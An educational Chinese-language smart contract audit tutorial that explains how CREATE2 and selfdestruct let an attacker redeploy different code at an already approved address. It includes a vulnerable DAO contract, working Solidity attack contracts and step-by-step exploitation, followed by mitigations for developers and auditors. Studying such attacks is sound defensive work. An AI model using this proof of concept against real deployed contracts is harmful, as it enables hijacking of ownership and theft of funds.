
智能合约安全审计入门篇 —— Deploy Different Contracts to the Same Address
作者:小白
编辑:Liz
背景概述
在以太坊生态中,合约地址的确定性生成机制为开发者提供了便利,但同时也引入了新的攻击面。本期我们将分析通过使用 CREATE 与 CREATE2 操作码在不同时间部署不同合约到同一地址的攻击手法及防御策略。往期智能合约安全审计入门文章见合集。
前置知识
我们先来了解以太坊地址生成的两种规则:
1. CREATE
CREATE 是以太坊虚拟机(EVM) 中用于动态部署智能合约的原生操作码。自以太坊创世区块起,所有合约部署均依赖此机制。其核心特点是地址生成依赖于部署者账户的 nonce,因此地址是非确定性的(无法在部署前精确预知)。
CREATE 生成的合约地址由部署者的地址和地址的 nonce 决定:
contract address = last 20 bytes of keccak256(RLP(sender,nonce))
2. CREATE2
CREATE2 是以太坊在君士坦丁堡硬分叉(2019 年 2 月)中引入的新合约创建操作码(EIP-1014)。与传统的 CREATE 不同,在合约部署前,链下参与者就可预先计算出合约地址,这使得链下交互(如状态通道)和复杂合约架构成为可能。
CREATE2 生成的合约地址由以下四个参数决定:
contract address = last 20 bytes of keccak256(0xff∣∣sender∣∣salt∣∣keccak256(init_code))
到这里,相信大家已经了解了以太坊生成合约地址的两种方式,心细的读者可能会想,如果计算出的合约地址已经存在了怎么办?这一点不必担心,在以太坊中,无论通过 CREATE 还是 CREATE2 生成的地址,只要已经在链上存在(无论是外部账户 EOA 还是合约账户),EVM 都会拒绝创建合约的请求。以下是地址冲突的两种场景:
1. 目标地址是外部账户(EOA)
-
规则:如果目标地址是一个已存在的 EOA(例如,用户钱包地址),EVM 会拒绝合约部署请求。
-
结果:交易失败,Gas 被消耗,合约不会被创建,且不会覆盖该地址的任何数据。
2. 目标地址是合约账户
-
规则:如果目标地址是一个已部署的合约账户,EVM 同样会拒绝部署请求。
-
结果:交易失败,Gas 被消耗,原有合约的代码和存储数据保持不变。
当然,凡事都有例外,如果目标地址为合约并且已通过 selfdestruct 自毁,此时就可以重新在该地址部署新合约。
至此,CREATE 与 CREATE2 这两种操作码的各种特性就介绍完了,下面我们看看如何利用这两个操作码的特性打出一套组合拳,完成一次合约攻击。
漏洞示例
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract DAO {
struct Proposal {
address target;
bool approved;
bool executed;
}
address public owner = msg.sender;
Proposal[] public proposals;
function approve(address target) external {
require(msg.sender == owner, "not authorized");
proposals.push(
Proposal({target: target, approved: true, executed: false})
);
}
function execute(uint256 proposalId) external payable {
Proposal storage proposal = proposals[proposalId];
require(proposal.approved, "not approved");
require(!proposal.executed, "executed");
proposal.executed = true;
(bool ok,) = proposal.target.delegatecall(
abi.encodeWithSignature("executeProposal()")
);
require(ok, "delegatecall failed");
}
}
漏洞分析
这个 DAO 合约实现了一个基本的治理机制:Owner 通过 approve 函数审核并记录提案合约地址到 Proposals 数组中,任何用户随后可通过 execute 函数执行已审核的提案。看似严密的权限控制(仅 Owner 可审核提案)结合执行检查(提案需审核且未执行),实则存在一个隐蔽的逻辑漏洞:已审核的提案地址可能在执行时指向完全不同的合约代码。攻击者可分如下三步实施攻击:
1. 部署正常合约,获取授权
攻击者首先部署一个包含无害 executeProposal() 函数的合约 A,通过 Owner 审核将地址加入提案列表。
2. 自毁原合约,抢占地址
合约 A 执行自毁操作(selfdestruct) 清空代码,随后攻击者使用 CREATE2 操作码在同一地址部署恶意合约 B(包含危险逻辑的 executeProposal())。
3. 触发执行,劫持控制权
当用户调用 execute 时,合约会通过 delegatecall 执行新部署的恶意合约 B 代码。由于 delegatecall 会保留当前合约的上下文,攻击者可通过此操作篡改 DAO 合约状态(如修改 Owner)或转移资产。
下面我们结合攻击合约来看看具体的攻击流程。
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract Proposal {
event Log(string message);
function executeProposal() external {
emit Log("Executed code approved by DAO");
}
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
contract Attack {
event Log(string message);
address public owner;
function executeProposal() external {
emit Log("Executed code not approved by DAO :)");
// For example - set DAO's owner to attacker
owner = msg.sender;
}
}
contract DeployerDeployer {
event Log(address addr);
function deploy() external {
bytes32 salt = keccak256(abi.encode(uint256(123)));
address addr = address(new Deployer{salt: salt}());
emit Log(addr);
}
}
contract Deployer {
event Log(address addr);
function deployProposal() external {
address addr = address(new Proposal());
emit Log(addr);
}
function deployAttack() external {
address addr = address(new Attack());
emit Log(addr);
}
function kill() external {
selfdestruct(payable(address(0)));
}
}
攻击流程如下:
1. Alice 部署了 DAO 合约。
2. Evil 部署 DeployerDeployer 合约,地址为 DD。
3. Evil 调用 DD.deploy(),使用 CREATE2 部署 Deployer 到地址 D(固定 salt)。
4. 调用 D.deployProposal(),创建 Proposal 合约地址 P,此时 D 的 nonce 是 0。
5. Alice 批准地址 P。
6. 攻击者调用 D.kill(),销毁 D,此时地址 D 的账户被清除,包括 nonce 也被重置为 0。
7. 攻击者再次调用 DD.deploy(),重新部署 Deployer 到地址 D(同样的 CREATE2 参数)。
8. 调用 D.deployAttack(),因为此时 D 的 nonce 被重置为 0 且 D 的地址没变,所以创建的 Attack 合约地址与之前的 Proposal 合约地址 P 是相同的。
9. 此时,DAO 的 proposals 数组中有一个提案指向地址 P,但现在地址 P 已经被重新部署为 Attack 合约。因此,当调用 execute() 时,会执行 Attack 的 executeProposal(),最终通过 delegatecall 修改 DAO 的 Owner 为 msg.sender,也就是 Attack 合约。
攻击原理可以总结为攻击者利用 CREATE2 可以重新部署合约到同一地址的特性,先部署一个合法的 Proposal 合约,让 DAO 批准。然后销毁 Deployer 合约,重新部署同一地址的 Deployer,重置该地址的 nonce ,最终成功部署恶意合约到与之前 Proposal 相同的地址。由于 DAO 存储的提案地址现在指向恶意合约,当执行提案时,恶意代码在 DAO 的上下文中执行,成功将 Owner 修改为攻击者。
修复建议
作为开发者:
-
在批准提案时,不仅要记录地址,还要记录该地址的代码哈希,并在执行时验证代码哈希是否一致。
-
避免使用 delegatecall 调用外部合约,除非有充分的安全措施。
-
考虑合约自毁后重新部署到同一地址的可能,进行外部调用时,需要检查外部合约是否可信,如果需要调用陌生的外部合约,建议检查合约中是否存在防自毁机制。
作为审计者:
-
识别外部调用的合约中是否存在 selfdestruct 自毁功能,如果存在,则需要警惕外部合约自毁后部署恶意代码到同一地址的攻击风险。
-
检查合约部署方式是否使用了 CREATE2,确保生成合约地址用到的 salt 值足够随机,防止因为合约地址被提前预测导致合约地址被攻击者抢先部署占用。
-
检查 DAO 执行提案时是否验证目标地址的代码一致性,比如比较当前代码哈希与批准时的哈希。
-
谨慎分析 delegatecall 的使用场景,确认目标地址是否可信,是否存在任意地址调用的风险。
-
审查提案的生命周期管理,比如是否有机制防止提案被修改或替换,例如在批准后锁定目标地址的状态。
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